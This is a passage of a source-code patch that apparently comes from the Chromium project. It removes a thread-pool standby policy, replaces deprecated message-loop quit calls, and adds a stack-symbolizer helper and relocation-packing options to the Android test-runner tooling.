+  lock_.AssertAcquired();
+
+  // SchedulerWorker needs |lock_| as a predecessor for its thread lock
+  // because in WakeUpOneWorker, |lock_| is first acquired and then
+  // the thread lock is acquired when WakeUp is called on the worker.
+  workers_.push_back(MakeRefCounted<SchedulerWorker>(
+      priority_hint_, MakeUnique<SchedulerWorkerDelegateImpl>(this),
+      task_tracker_, &lock_, backward_compatibility_,
+      SchedulerWorker::InitialState::ALIVE));
+
+  return workers_.back();
+}
+
+scoped_refptr<SchedulerWorker>
+SchedulerWorkerPoolImpl::CreateRegisterAndStartSchedulerWorker() {
+  scoped_refptr<SchedulerWorker> worker = CreateAndRegisterSchedulerWorker();
+  worker->Start();
+  return worker;
+}
+
 }  // namespace internal
 }  // namespace base
diff --git a/base/task_scheduler/scheduler_worker_pool_impl.h b/base/task_scheduler/scheduler_worker_pool_impl.h
index fde12ebc04..08a9172 100644
--- a/base/task_scheduler/scheduler_worker_pool_impl.h
+++ b/base/task_scheduler/scheduler_worker_pool_impl.h
@@ -132,6 +132,17 @@
   // Returns true if worker thread detachment is permitted.
   bool CanWorkerDetachForTesting();
 
+  // Adds a new SchedulerWorker based on SchedulerWorkerPoolParams
+  // that were passed into Start(). SchedulerWorker::Start() must be called on
+  // the worker before it is usable. Returns the newly added worker. This cannot
+  // be called before Start(). This function should only be called under the
+  // protection of |lock_|.
+  scoped_refptr<SchedulerWorker> CreateAndRegisterSchedulerWorker();
+
+  // Performs the same function as CreateAndRegisterSchedulerWorker(), except
+  // this also calls Start() on the worker.
+  scoped_refptr<SchedulerWorker> CreateRegisterAndStartSchedulerWorker();
+
   const std::string name_;
   const ThreadPriority priority_hint_;
 
@@ -143,8 +154,10 @@
   // |workers_created_.IsSet()|).
   TimeDelta suggested_reclaim_time_;
 
-  // Synchronizes accesses to |workers_|, |idle_workers_stack_|,
-  // |idle_workers_stack_cv_for_testing_| and
+  SchedulerBackwardCompatibility backward_compatibility_;
+
+  // Synchronizes accesses to |workers_|, |worker_capacity_|,
+  // |idle_workers_stack_|, |idle_workers_stack_cv_for_testing_| and
   // |num_wake_ups_before_start_|. Has |shared_priority_queue_|'s lock as
   // its predecessor so that a worker can be pushed to |idle_workers_stack_|
   // within the scope of a Transaction (more details in GetWork()).
@@ -153,6 +166,10 @@
   // All workers owned by this worker pool.
   std::vector<scoped_refptr<SchedulerWorker>> workers_;
 
+  // Workers can be added as needed up until there are |worker_capacity_|
+  // workers.
+  size_t worker_capacity_;
+
   // Stack of idle workers. Initially, all workers are on this stack. A worker
   // is removed from the stack before its WakeUp() function is called and when
   // it receives work from GetWork() (a worker calls GetWork() when its sleep
@@ -176,7 +193,7 @@
   AtomicFlag worker_detachment_disallowed_;
 
 #if DCHECK_IS_ON()
-  // Set when all workers have been created.
+  // Set after all the initial workers have been created.
   AtomicFlag workers_created_;
 #endif
 
diff --git a/base/task_scheduler/scheduler_worker_pool_impl_unittest.cc b/base/task_scheduler/scheduler_worker_pool_impl_unittest.cc
index b3ed90c4..6c50a25 100644
--- a/base/task_scheduler/scheduler_worker_pool_impl_unittest.cc
+++ b/base/task_scheduler/scheduler_worker_pool_impl_unittest.cc
@@ -58,8 +58,6 @@
 constexpr TimeDelta kExtraTimeToWaitForDetach =
     TimeDelta::FromSeconds(1);
 
-using StandbyThreadPolicy = SchedulerWorkerPoolParams::StandbyThreadPolicy;
-
 class TaskSchedulerWorkerPoolImplTest
     : public testing::TestWithParam<test::ExecutionMode> {
  protected:
@@ -88,8 +86,8 @@
 
   void StartWorkerPool(TimeDelta suggested_reclaim_time, size_t num_workers) {
     ASSERT_TRUE(worker_pool_);
-    worker_pool_->Start(SchedulerWorkerPoolParams(
-        StandbyThreadPolicy::LAZY, num_workers, suggested_reclaim_time));
+    worker_pool_->Start(
+        SchedulerWorkerPoolParams(num_workers, suggested_reclaim_time));
   }
 
   void CreateAndStartWorkerPool(TimeDelta suggested_reclaim_time,
@@ -769,20 +767,6 @@
   EXPECT_EQ(0, histogram->SnapshotSamples()->GetCount(10));
 }
 
-TEST(TaskSchedulerWorkerPoolStandbyPolicyTest, InitLazy) {
-  TaskTracker task_tracker;
-  DelayedTaskManager delayed_task_manager;
-  delayed_task_manager.Start(make_scoped_refptr(new TestSimpleTaskRunner));
-  auto worker_pool = MakeUnique<SchedulerWorkerPoolImpl>(
-      "LazyPolicyWorkerPool", ThreadPriority::NORMAL, &task_tracker,
-      &delayed_task_manager);
-  worker_pool->Start(SchedulerWorkerPoolParams(StandbyThreadPolicy::LAZY, 8U,
-                                               TimeDelta::Max()));
-  ASSERT_TRUE(worker_pool);
-  EXPECT_EQ(0U, worker_pool->NumberOfAliveWorkersForTesting());
-  worker_pool->JoinForTesting();
-}
-
 TEST(TaskSchedulerWorkerPoolStandbyPolicyTest, InitOne) {
   TaskTracker task_tracker;
   DelayedTaskManager delayed_task_manager;
@@ -790,8 +774,7 @@
   auto worker_pool = MakeUnique<SchedulerWorkerPoolImpl>(
       "OnePolicyWorkerPool", ThreadPriority::NORMAL, &task_tracker,
       &delayed_task_manager);
-  worker_pool->Start(SchedulerWorkerPoolParams(StandbyThreadPolicy::ONE, 8U,
-                                               TimeDelta::Max()));
+  worker_pool->Start(SchedulerWorkerPoolParams(8U, TimeDelta::Max()));
   ASSERT_TRUE(worker_pool);
   EXPECT_EQ(1U, worker_pool->NumberOfAliveWorkersForTesting());
   worker_pool->JoinForTesting();
diff --git a/base/task_scheduler/scheduler_worker_pool_params.cc b/base/task_scheduler/scheduler_worker_pool_params.cc
index 2959139bd..db855695 100644
--- a/base/task_scheduler/scheduler_worker_pool_params.cc
+++ b/base/task_scheduler/scheduler_worker_pool_params.cc
@@ -7,12 +7,10 @@
 namespace base {
 
 SchedulerWorkerPoolParams::SchedulerWorkerPoolParams(
-    StandbyThreadPolicy standby_thread_policy,
     int max_threads,
     TimeDelta suggested_reclaim_time,
     SchedulerBackwardCompatibility backward_compatibility)
-    : standby_thread_policy_(standby_thread_policy),
-      max_threads_(max_threads),
+    : max_threads_(max_threads),
       suggested_reclaim_time_(suggested_reclaim_time),
       backward_compatibility_(backward_compatibility) {}
 
diff --git a/base/task_scheduler/scheduler_worker_pool_params.h b/base/task_scheduler/scheduler_worker_pool_params.h
index 67f72cc..928d3b4d 100644
--- a/base/task_scheduler/scheduler_worker_pool_params.h
+++ b/base/task_scheduler/scheduler_worker_pool_params.h
@@ -12,22 +12,12 @@
 
 class BASE_EXPORT SchedulerWorkerPoolParams final {
  public:
-  enum class StandbyThreadPolicy {
-    // Create threads as needed on demand, reclaimed as necessary.
-    LAZY,
-    // When possible, keep one idle thread alive on standby, reclaimed as
-    // necessary.
-    ONE,
-  };
-
   // Constructs a set of params used to initialize a pool. The pool will contain
-  // up to |max_threads|. |standby_thread_policy| indicates whether an idle
-  // thread should be kept alive on standby. |suggested_reclaim_time| sets a
-  // suggestion on when to reclaim idle threads. The pool is free to ignore this
-  // value for performance or correctness reasons. |backward_compatibility|
-  // indicates whether backward compatibility is enabled.
+  // up to |max_threads|. |suggested_reclaim_time| sets a suggestion on when to
+  // reclaim idle threads. The pool is free to ignore this value for performance
+  // or correctness reasons. |backward_compatibility| indicates whether backward
+  // compatibility is enabled.
   SchedulerWorkerPoolParams(
-      StandbyThreadPolicy standby_thread_policy,
       int max_threads,
       TimeDelta suggested_reclaim_time,
       SchedulerBackwardCompatibility backward_compatibility =
@@ -36,9 +26,6 @@
   SchedulerWorkerPoolParams(const SchedulerWorkerPoolParams& other);
   SchedulerWorkerPoolParams& operator=(const SchedulerWorkerPoolParams& other);
 
-  StandbyThreadPolicy standby_thread_policy() const {
-    return standby_thread_policy_;
-  }
   int max_threads() const { return max_threads_; }
   TimeDelta suggested_reclaim_time() const { return suggested_reclaim_time_; }
   SchedulerBackwardCompatibility backward_compatibility() const {
@@ -46,7 +33,6 @@
   }
 
  private:
-  StandbyThreadPolicy standby_thread_policy_;
   int max_threads_;
   TimeDelta suggested_reclaim_time_;
   SchedulerBackwardCompatibility backward_compatibility_;
diff --git a/base/task_scheduler/task_scheduler.cc b/base/task_scheduler/task_scheduler.cc
index ee2ccf4..9650464 100644
--- a/base/task_scheduler/task_scheduler.cc
+++ b/base/task_scheduler/task_scheduler.cc
@@ -40,8 +40,6 @@
 #if !defined(OS_NACL)
 // static
 void TaskScheduler::CreateAndStartWithDefaultParams(StringPiece name) {
-  using StandbyThreadPolicy = SchedulerWorkerPoolParams::StandbyThreadPolicy;
-
   // Values were chosen so that:
   // * There are few background threads.
   // * Background threads never outnumber foreground threads.
@@ -56,14 +54,10 @@
 
   Create(name);
   GetInstance()->Start(
-      {{StandbyThreadPolicy::LAZY, kBackgroundMaxThreads,
-        kSuggestedReclaimTime},
-       {StandbyThreadPolicy::LAZY, kBackgroundBlockingMaxThreads,
-        kSuggestedReclaimTime},
-       {StandbyThreadPolicy::LAZY, kForegroundMaxThreads,
-        kSuggestedReclaimTime},
-       {StandbyThreadPolicy::LAZY, kForegroundBlockingMaxThreads,
-        kSuggestedReclaimTime}});
+      {{kBackgroundMaxThreads, kSuggestedReclaimTime},
+       {kBackgroundBlockingMaxThreads, kSuggestedReclaimTime},
+       {kForegroundMaxThreads, kSuggestedReclaimTime},
+       {kForegroundBlockingMaxThreads, kSuggestedReclaimTime}});
 }
 #endif  // !defined(OS_NACL)
 
diff --git a/base/task_scheduler/task_scheduler_impl_unittest.cc b/base/task_scheduler/task_scheduler_impl_unittest.cc
index 4cf2f0e..6632589 100644
--- a/base/task_scheduler/task_scheduler_impl_unittest.cc
+++ b/base/task_scheduler/task_scheduler_impl_unittest.cc
@@ -192,8 +192,6 @@
   TaskSchedulerImplTest() : scheduler_("Test") {}
 
   void StartTaskScheduler() {
-    using StandbyThreadPolicy = SchedulerWorkerPoolParams::StandbyThreadPolicy;
-
     constexpr TimeDelta kSuggestedReclaimTime = TimeDelta::FromSeconds(30);
     constexpr int kMaxNumBackgroundThreads = 1;
     constexpr int kMaxNumBackgroundBlockingThreads = 3;
@@ -201,14 +199,10 @@
     constexpr int kMaxNumForegroundBlockingThreads = 12;
 
     scheduler_.Start(
-        {{StandbyThreadPolicy::LAZY, kMaxNumBackgroundThreads,
-          kSuggestedReclaimTime},
-         {StandbyThreadPolicy::LAZY, kMaxNumBackgroundBlockingThreads,
-          kSuggestedReclaimTime},
-         {StandbyThreadPolicy::LAZY, kMaxNumForegroundThreads,
-          kSuggestedReclaimTime},
-         {StandbyThreadPolicy::LAZY, kMaxNumForegroundBlockingThreads,
-          kSuggestedReclaimTime}});
+        {{kMaxNumBackgroundThreads, kSuggestedReclaimTime},
+         {kMaxNumBackgroundBlockingThreads, kSuggestedReclaimTime},
+         {kMaxNumForegroundThreads, kSuggestedReclaimTime},
+         {kMaxNumForegroundBlockingThreads, kSuggestedReclaimTime}});
   }
 
   void TearDown() override { scheduler_.JoinForTesting(); }
diff --git a/base/test/launcher/test_launcher.cc b/base/test/launcher/test_launcher.cc
index 591151e..af09e15 100644
--- a/base/test/launcher/test_launcher.cc
+++ b/base/test/launcher/test_launcher.cc
@@ -20,7 +20,6 @@
 #include "base/logging.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/numerics/safe_conversions.h"
 #include "base/process/kill.h"
 #include "base/process/launch.h"
@@ -1062,7 +1061,7 @@
       CommandLine::ForCurrentProcess()->HasSwitch(kGTestBreakOnFailure);
   if (cycles_ == 0 ||
       (stop_on_failure && test_success_count_ != test_finished_count_)) {
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
     return;
   }
 
diff --git a/base/test/scoped_async_task_scheduler.cc b/base/test/scoped_async_task_scheduler.cc
index 3093599..adabed2 100644
--- a/base/test/scoped_async_task_scheduler.cc
+++ b/base/test/scoped_async_task_scheduler.cc
@@ -24,9 +24,8 @@
   // threads and get rid of this limitation. http://crbug.com/738104
   constexpr int kMaxThreads = 2;
   const TimeDelta kSuggestedReclaimTime = TimeDelta::Max();
-  const SchedulerWorkerPoolParams worker_pool_params(
-      SchedulerWorkerPoolParams::StandbyThreadPolicy::ONE, kMaxThreads,
-      kSuggestedReclaimTime);
+  const SchedulerWorkerPoolParams worker_pool_params(kMaxThreads,
+                                                     kSuggestedReclaimTime);
   TaskScheduler::Create("ScopedAsync");
   task_scheduler_ = TaskScheduler::GetInstance();
   TaskScheduler::GetInstance()->Start({worker_pool_params, worker_pool_params,
diff --git a/base/test/scoped_task_environment.cc b/base/test/scoped_task_environment.cc
index 8028e9eb..998d0aa8 100644
--- a/base/test/scoped_task_environment.cc
+++ b/base/test/scoped_task_environment.cc
@@ -102,9 +102,8 @@
   // threads and get rid of this limitation. http://crbug.com/738104
   constexpr int kMaxThreads = 2;
   const TimeDelta kSuggestedReclaimTime = TimeDelta::Max();
-  const SchedulerWorkerPoolParams worker_pool_params(
-      SchedulerWorkerPoolParams::StandbyThreadPolicy::ONE, kMaxThreads,
-      kSuggestedReclaimTime);
+  const SchedulerWorkerPoolParams worker_pool_params(kMaxThreads,
+                                                     kSuggestedReclaimTime);
   TaskScheduler::SetInstance(MakeUnique<internal::TaskSchedulerImpl>(
       "ScopedTaskEnvironment", WrapUnique(task_tracker_)));
   task_scheduler_ = TaskScheduler::GetInstance();
diff --git a/base/threading/sequenced_worker_pool_unittest.cc b/base/threading/sequenced_worker_pool_unittest.cc
index d2c0050..6cf08542 100644
--- a/base/threading/sequenced_worker_pool_unittest.cc
+++ b/base/threading/sequenced_worker_pool_unittest.cc
@@ -245,7 +245,6 @@
   void SetUp() override {
     if (RedirectedToTaskScheduler()) {
       const SchedulerWorkerPoolParams worker_pool_params(
-          SchedulerWorkerPoolParams::StandbyThreadPolicy::LAZY,
           static_cast<int>(kNumWorkerThreads), TimeDelta::Max());
       TaskScheduler::Create("SequencedWorkerPoolTest");
       TaskScheduler::GetInstance()->Start(
diff --git a/base/timer/timer_unittest.cc b/base/timer/timer_unittest.cc
index 01ce876..787a22cf 100644
--- a/base/timer/timer_unittest.cc
+++ b/base/timer/timer_unittest.cc
@@ -680,12 +680,12 @@
 
 void SetCallbackHappened1() {
   g_callback_happened1 = true;
-  MessageLoop::current()->QuitWhenIdle();
+  RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void SetCallbackHappened2() {
   g_callback_happened2 = true;
-  MessageLoop::current()->QuitWhenIdle();
+  RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace
diff --git a/base/trace_event/heap_profiler_allocation_register_posix.cc b/base/trace_event/heap_profiler_allocation_register_posix.cc
index e0e61ce..bc29fe89 100644
--- a/base/trace_event/heap_profiler_allocation_register_posix.cc
+++ b/base/trace_event/heap_profiler_allocation_register_posix.cc
@@ -42,7 +42,7 @@
   // create a virtual mapping with the size of the guard page unmapped after the
   // block.
   mx_handle_t vmo;
-  CHECK(mx_vmo_create(map_size, 0, &vmo) == MX_OK);
+  CHECK(mx_vmo_create(size, 0, &vmo) == MX_OK);
   mx_handle_t vmar;
   uintptr_t addr_uint;
   CHECK(mx_vmar_allocate(mx_vmar_root_self(), 0, map_size,
diff --git a/base/trace_event/process_memory_dump_unittest.cc b/base/trace_event/process_memory_dump_unittest.cc
index 56e88328..0d5c325 100644
--- a/base/trace_event/process_memory_dump_unittest.cc
+++ b/base/trace_event/process_memory_dump_unittest.cc
@@ -23,6 +23,10 @@
 #include <sys/mman.h>
 #endif
 
+#if defined(OS_IOS)
+#include "base/ios/ios_util.h"
+#endif
+
 namespace base {
 namespace trace_event {
 
@@ -428,6 +432,13 @@
 }
 
 TEST(ProcessMemoryDumpTest, CountResidentBytesInSharedMemory) {
+#if defined(OS_IOS)
+  // TODO(crbug.com/748410): Reenable this test.
+  if (!base::ios::IsRunningOnIOS10OrLater()) {
+    return;
+  }
+#endif
+
   const size_t page_size = ProcessMemoryDump::GetSystemPageSize();
 
   // Allocate few page of dirty memory and check if it is resident.
diff --git a/base/win/object_watcher_unittest.cc b/base/win/object_watcher_unittest.cc
index 29d72db..5aa3891 100644
--- a/base/win/object_watcher_unittest.cc
+++ b/base/win/object_watcher_unittest.cc
@@ -18,7 +18,7 @@
 class QuitDelegate : public ObjectWatcher::Delegate {
  public:
   void OnObjectSignaled(HANDLE object) override {
-    MessageLoop::current()->QuitWhenIdle();
+    RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 };
 
@@ -144,7 +144,7 @@
     if (--iterations_) {
       SetEvent(event_);
     } else {
-      MessageLoop::current()->QuitWhenIdle();
+      RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/base/win/registry_unittest.cc b/base/win/registry_unittest.cc
index 08d5d484..5a18ffa 100644
--- a/base/win/registry_unittest.cc
+++ b/base/win/registry_unittest.cc
@@ -361,7 +361,7 @@
    ~TestChangeDelegate() {}
 
    void OnKeyChanged() {
-     MessageLoop::current()->QuitWhenIdle();
+     RunLoop::QuitCurrentWhenIdleDeprecated();
      called_ = true;
    }
 
diff --git a/build/android/adb_gdb b/build/android/adb_gdb
index a72b90a..9c20e4dd 100755
--- a/build/android/adb_gdb
+++ b/build/android/adb_gdb
@@ -764,7 +764,7 @@
 }
 
 # Allow several concurrent debugging sessions
-APP_DATA_DIR=$("$ADB" shell run-as $PACKAGE_NAME /system/bin/sh -c pwd)
+APP_DATA_DIR=$(adb_shell run-as $PACKAGE_NAME /system/bin/sh -c pwd)
 TARGET_GDBSERVER="$APP_DATA_DIR/gdbserver-adb-gdb-$TMP_ID"
 TMP_TARGET_GDBSERVER=/data/local/tmp/gdbserver-adb-gdb-$TMP_ID
 
diff --git a/build/android/binary_size/apk_downloader.py b/build/android/binary_size/apk_downloader.py
index 062930d..1fd4302c 100755
--- a/build/android/binary_size/apk_downloader.py
+++ b/build/android/binary_size/apk_downloader.py
@@ -15,7 +15,7 @@
 import find_depot_tools  # pylint: disable=import-error,unused-import
 import download_from_google_storage
 
-CURRENT_MILESTONE = '60'
+CURRENT_MILESTONE = '61'
 DEFAULT_BUCKET = 'gs://chromium-android-tools/apks'
 DEFAULT_DOWNLOAD_PATH = os.path.join(os.path.dirname(__file__), 'apks')
 DEFAULT_BUILDER = 'Android_Builder'
diff --git a/build/android/binary_size/apks/Android_Builder/61/ChromeModernPublic.apk.sha1 b/build/android/binary_size/apks/Android_Builder/61/ChromeModernPublic.apk.sha1
new file mode 100644
index 0000000..b26d738
--- /dev/null
+++ b/build/android/binary_size/apks/Android_Builder/61/ChromeModernPublic.apk.sha1
@@ -0,0 +1 @@
+d4f1347c5baea6ebb296b450cf54abb629030328
\ No newline at end of file
diff --git a/build/android/binary_size/apks/Android_Builder/61/ChromePublic.apk.sha1 b/build/android/binary_size/apks/Android_Builder/61/ChromePublic.apk.sha1
new file mode 100644
index 0000000..0de158d0
--- /dev/null
+++ b/build/android/binary_size/apks/Android_Builder/61/ChromePublic.apk.sha1
@@ -0,0 +1 @@
+b2644c78846d1297c61bf75b1543d74e24f777b6
\ No newline at end of file
diff --git a/build/android/binary_size/apks/Android_Builder/61/MonochromePublic.apk.sha1 b/build/android/binary_size/apks/Android_Builder/61/MonochromePublic.apk.sha1
new file mode 100644
index 0000000..4473f6e2
--- /dev/null
+++ b/build/android/binary_size/apks/Android_Builder/61/MonochromePublic.apk.sha1
@@ -0,0 +1 @@
+80413a607555c33960241ef10f5897b02383fe2e
\ No newline at end of file
diff --git a/build/android/binary_size/apks/Android_arm64_Builder/61/ChromeModernPublic.apk.sha1 b/build/android/binary_size/apks/Android_arm64_Builder/61/ChromeModernPublic.apk.sha1
new file mode 100644
index 0000000..13d4b6a
--- /dev/null
+++ b/build/android/binary_size/apks/Android_arm64_Builder/61/ChromeModernPublic.apk.sha1
@@ -0,0 +1 @@
+8e30941b4fc3a33701dba26aac2d686120bb9588
\ No newline at end of file
diff --git a/build/android/binary_size/apks/Android_arm64_Builder/61/ChromePublic.apk.sha1 b/build/android/binary_size/apks/Android_arm64_Builder/61/ChromePublic.apk.sha1
new file mode 100644
index 0000000..4e72ae7
--- /dev/null
+++ b/build/android/binary_size/apks/Android_arm64_Builder/61/ChromePublic.apk.sha1
@@ -0,0 +1 @@
+d2ed32c20b65f86a839cc01839a6f258e8fe909f
\ No newline at end of file
diff --git a/build/android/gyp/create_test_runner_script.py b/build/android/gyp/create_test_runner_script.py
index 69c821f..f6a2c3d 100755
--- a/build/android/gyp/create_test_runner_script.py
+++ b/build/android/gyp/create_test_runner_script.py
@@ -82,6 +82,7 @@
   group.add_argument('--android-manifest-path')
   group.add_argument('--resource-zips')
   group.add_argument('--robolectric-runtime-deps-dir')
+  group.add_argument('--enable-relocation-packing')
   args, test_runner_args = parser.parse_known_args(
       build_utils.ExpandFileArgs(args))
 
@@ -94,6 +95,8 @@
   test_runner_path = RelativizePathToScript(test_runner_path)
 
   test_runner_path_args = []
+  if args.enable_relocation_packing and args.enable_relocation_packing == "1":
+    test_runner_args.append('--enable-relocation-packing')
   if args.additional_apk_list:
     args.additional_apks.extend(
         build_utils.ParseGnList(args.additional_apk_list))
diff --git a/build/android/gyp/write_build_config.py b/build/android/gyp/write_build_config.py
index c2dee9a..63a8ee8 100755
--- a/build/android/gyp/write_build_config.py
+++ b/build/android/gyp/write_build_config.py
@@ -305,6 +305,8 @@
   parser.add_option('--secondary-abi-shared-libraries-runtime-deps',
                     help='Path to file containing runtime deps for secondary '
                          'abi shared libraries.')
+  parser.add_option('--enable-relocation-packing',
+                    help='Whether relocation packing is enabled.')
 
   # apk options
   parser.add_option('--apk-path', help='Path to the target\'s apk output.')
@@ -472,6 +474,7 @@
       deps_info['incremental_apk_path'] = options.incremental_apk_path
       deps_info['incremental_install_script_path'] = (
           options.incremental_install_script_path)
+      deps_info['enable_relocation_packing'] = options.enable_relocation_packing
 
   if options.type in ('java_binary', 'java_library', 'android_apk', 'dist_jar'):
     # Classpath values filled in below (after applying tested_apk_config).
diff --git a/build/android/pylib/instrumentation/instrumentation_test_instance.py b/build/android/pylib/instrumentation/instrumentation_test_instance.py
index cb5d691..9773ba1 100644
--- a/build/android/pylib/instrumentation/instrumentation_test_instance.py
+++ b/build/android/pylib/instrumentation/instrumentation_test_instance.py
@@ -17,11 +17,13 @@
 from pylib.constants import host_paths
 from pylib.instrumentation import test_result
 from pylib.instrumentation import instrumentation_parser
+from pylib.symbols import stack_symbolizer
 from pylib.utils import dexdump
 from pylib.utils import instrumentation_tracing
 from pylib.utils import proguard
 from pylib.utils import shared_preference_utils
 
+
 with host_paths.SysPath(host_paths.BUILD_COMMON_PATH):
   import unittest_util # pylint: disable=import-error
 
@@ -445,6 +447,7 @@
     self._initializeTestCoverageAttributes(args)
 
     self._store_tombstones = False
+    self._symbolizer = None
     self._initializeTombstonesAttributes(args)
 
     self._gs_results_bucket = None
@@ -626,6 +629,9 @@
 
   def _initializeTombstonesAttributes(self, args):
     self._store_tombstones = args.store_tombstones
+    self._symbolizer = stack_symbolizer.Symbolizer(
+        self.apk_under_test.path if self.apk_under_test else None,
+        args.enable_relocation_packing)
 
   def _initializeLogAttributes(self, args):
     self._gs_results_bucket = args.gs_results_bucket
@@ -719,6 +725,10 @@
     return self._suite
 
   @property
+  def symbolizer(self):
+    return self._symbolizer
+
+  @property
   def test_apk(self):
     return self._test_apk
 
@@ -848,4 +858,4 @@
 
   #override
   def TearDown(self):
-    pass
+    self.symbolizer.CleanUp()
diff --git a/build/android/pylib/local/device/local_device_instrumentation_test_run.py b/build/android/pylib/local/device/local_device_instrumentation_test_run.py
index 64d3193..87370c6 100644
--- a/build/android/pylib/local/device/local_device_instrumentation_test_run.py
+++ b/build/android/pylib/local/device/local_device_instrumentation_test_run.py
@@ -73,8 +73,7 @@
 RE_RENDER_IMAGE_NAME = re.compile(
       r'(?P<test_class>\w+)\.'
       r'(?P<description>[-\w]+)\.'
-      r'(?P<device_model>\w+)\.'
-      r'(?P<orientation>port|land)\.png')
+      r'(?P<device_model_sdk>[-\w]+)\.png')
 
 @contextlib.contextmanager
 def _LogTestEndpoints(device, test_name):
@@ -539,7 +538,8 @@
                 device,
                 resolve_all_tombstones=True,
                 include_stack_symbols=False,
-                wipe_tombstones=True)
+                wipe_tombstones=True,
+                tombstone_symbolizer=self._test_instance.symbolizer)
             stream_name = 'tombstones_%s_%s' % (
                 time.strftime('%Y%m%dT%H%M%S-UTC', time.gmtime()),
                 device.serial)
diff --git a/build/android/pylib/symbols/stack_symbolizer.py b/build/android/pylib/symbols/stack_symbolizer.py
new file mode 100644
index 0000000..8ddf1f3
--- /dev/null
+++ b/build/android/pylib/symbols/stack_symbolizer.py
@@ -0,0 +1,102 @@
+# Copyright 2017 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import logging
+import os
+import re
+import shutil
+import tempfile
+import zipfile
+
+from devil.utils import cmd_helper
+from pylib import constants
+
+_STACK_TOOL = os.path.join(os.path.dirname(__file__), '..', '..', '..', '..',
+                          'third_party', 'android_platform', 'development',
+                          'scripts', 'stack')
+ABI_REG = re.compile('ABI: \'(.+?)\'')
+
+
+def _DeviceAbiToArch(device_abi):
+    # The order of this list is significant to find the more specific match
+    # (e.g., arm64) before the less specific (e.g., arm).
+    arches = ['arm64', 'arm', 'x86_64', 'x86_64', 'x86', 'mips']
+    for arch in arches:
+      if arch in device_abi:
+        return arch
+    raise RuntimeError('Unknown device ABI: %s' % device_abi)
+
+
+class Symbolizer(object):
+  """A helper class to symbolize stack."""
+
+  def __init__(self, apk_under_test=None,
+               enable_relocation_packing=None):
+    self._apk_under_test = apk_under_test
+    self._enable_relocation_packing = enable_relocation_packing
+    self._libs_dir = None
+    self._apk_libs = []
+    self._has_unzipped = False
+
+
+  def __del__(self):
+    if self._libs_dir:
+      logging.warning('Please call stack_symbolizer\'s'
+                      ' CleanUp method before it goes out of scope.')
+    self.CleanUp()
+
+
+  def CleanUp(self):
+    """Clean up the temporary directory of apk libs."""
+    if self._libs_dir:
+      shutil.rmtree(self._libs_dir)
+      self._libs_dir = None
+
+
+  def UnzipAPKIfNecessary(self):
+    """Unzip apk if packed relocation is enabled."""
+    if (self._has_unzipped
+        or not self._enable_relocation_packing
+        or not self._apk_under_test):
+      return
+    self._libs_dir = tempfile.mkdtemp()
+    with zipfile.ZipFile(self._apk_under_test) as z:
+      for name in z.namelist():
+        if name.endswith('.so'):
+          self._apk_libs.append(z.extract(name, self._libs_dir))
+
+    self._has_unzipped = True
+
+
+  def ExtractAndResolveNativeStackTraces(self, data_to_symbolize,
+                                         device_abi, include_stack=True):
+    """Run the stack tool for given input.
+
+    Args:
+      data_to_symbolize: a list of strings to symbolize.
+      include_stack: boolean whether to include stack data in output.
+      device_abi: the default ABI of the device which generated the tombstone.
+
+    Yields:
+      A string for each line of resolved stack output.
+    """
+    self.UnzipAPKIfNecessary()
+    arch = _DeviceAbiToArch(device_abi)
+    if not arch:
+      logging.warning('No device_abi can be found.')
+      return
+
+    cmd = [_STACK_TOOL, '--arch', arch, '--output-directory',
+           constants.GetOutDirectory(), '--more-info']
+    if self._enable_relocation_packing and self._apk_libs:
+      for apk_lib in self._apk_libs:
+        cmd.extend(['--packed-lib', apk_lib])
+    with tempfile.NamedTemporaryFile() as f:
+      f.write('\n'.join(data_to_symbolize))
+      f.flush()
+      _, output = cmd_helper.GetCmdStatusAndOutput(cmd + [f.name])
+    for line in output.splitlines():
+      if not include_stack and 'Stack Data:' in line:
+        break
+      yield line
diff --git a/build/android/test_runner.py b/build/android/test_runner.py
index b22607f..77580b8 100755
--- a/build/android/test_runner.py
+++ b/build/android/test_runner.py
@@ -50,6 +50,13 @@
     host_paths.DIR_SOURCE_ROOT, 'build', 'android', 'devil_config.json'))
 
 
+def _RealPath(arg):
+  if arg.startswith('//'):
+    arg = os.path.abspath(os.path.join(host_paths.DIR_SOURCE_ROOT,
+                                       arg[2:].replace('/', os.sep)))
+  return os.path.realpath(arg)
+
+
 def AddTestLauncherOptions(parser):
   """Adds arguments mirroring //base/test/launcher.
 
@@ -392,6 +399,11 @@
       '--render-results-directory',
       dest='render_results_dir',
       help='Directory to pull render test result images off of the device to.')
+  parser.add_argument(
+      '--enable-relocation-packing',
+      dest='enable_relocation_packing',
+      action='store_true',
+      help='Whether relocation packing is enabled.')
   def package_replacement(arg):
     split_arg = arg.split(',')
     if len(split_arg) != 2:
@@ -420,7 +432,7 @@
       help='Capture screenshots of test failures')
   parser.add_argument(
       '--shared-prefs-file',
-      dest='shared_prefs_file', type=os.path.realpath,
+      dest='shared_prefs_file', type=_RealPath,
       help='The relative path to a file containing JSON list of shared '
            'preference files to edit and how to do so. Example list: '
            '[{'
diff --git a/build/android/test_runner.pydeps b/build/android/test_runner.pydeps
index ea68a58..e3e22cf 100644
--- a/build/android/test_runner.pydeps
+++ b/build/android/test_runner.pydeps
@@ -166,6 +166,8 @@
 pylib/results/flakiness_dashboard/results_uploader.py
 pylib/results/json_results.py
 pylib/results/report_results.py
+pylib/symbols/__init__.py
+pylib/symbols/stack_symbolizer.py
 pylib/utils/__init__.py
 pylib/utils/decorators.py
 pylib/utils/device_dependencies.py
diff --git a/build/android/tombstones.py b/build/android/tombstones.py
index dbc6281c..6e711ff 100755
--- a/build/android/tombstones.py
+++ b/build/android/tombstones.py
@@ -12,12 +12,11 @@
 import argparse
 import datetime
 import logging
-import multiprocessing
 import os
-import re
-import subprocess
 import sys
 
+from multiprocessing.pool import ThreadPool
+
 import devil_chromium
 
 from devil.android import device_blacklist
@@ -25,6 +24,7 @@
 from devil.android import device_utils
 from devil.utils import run_tests_helper
 from pylib import constants
+from pylib.symbols import stack_symbolizer
 
 
 _TZ_UTC = {'TZ': 'UTC'}
@@ -96,51 +96,9 @@
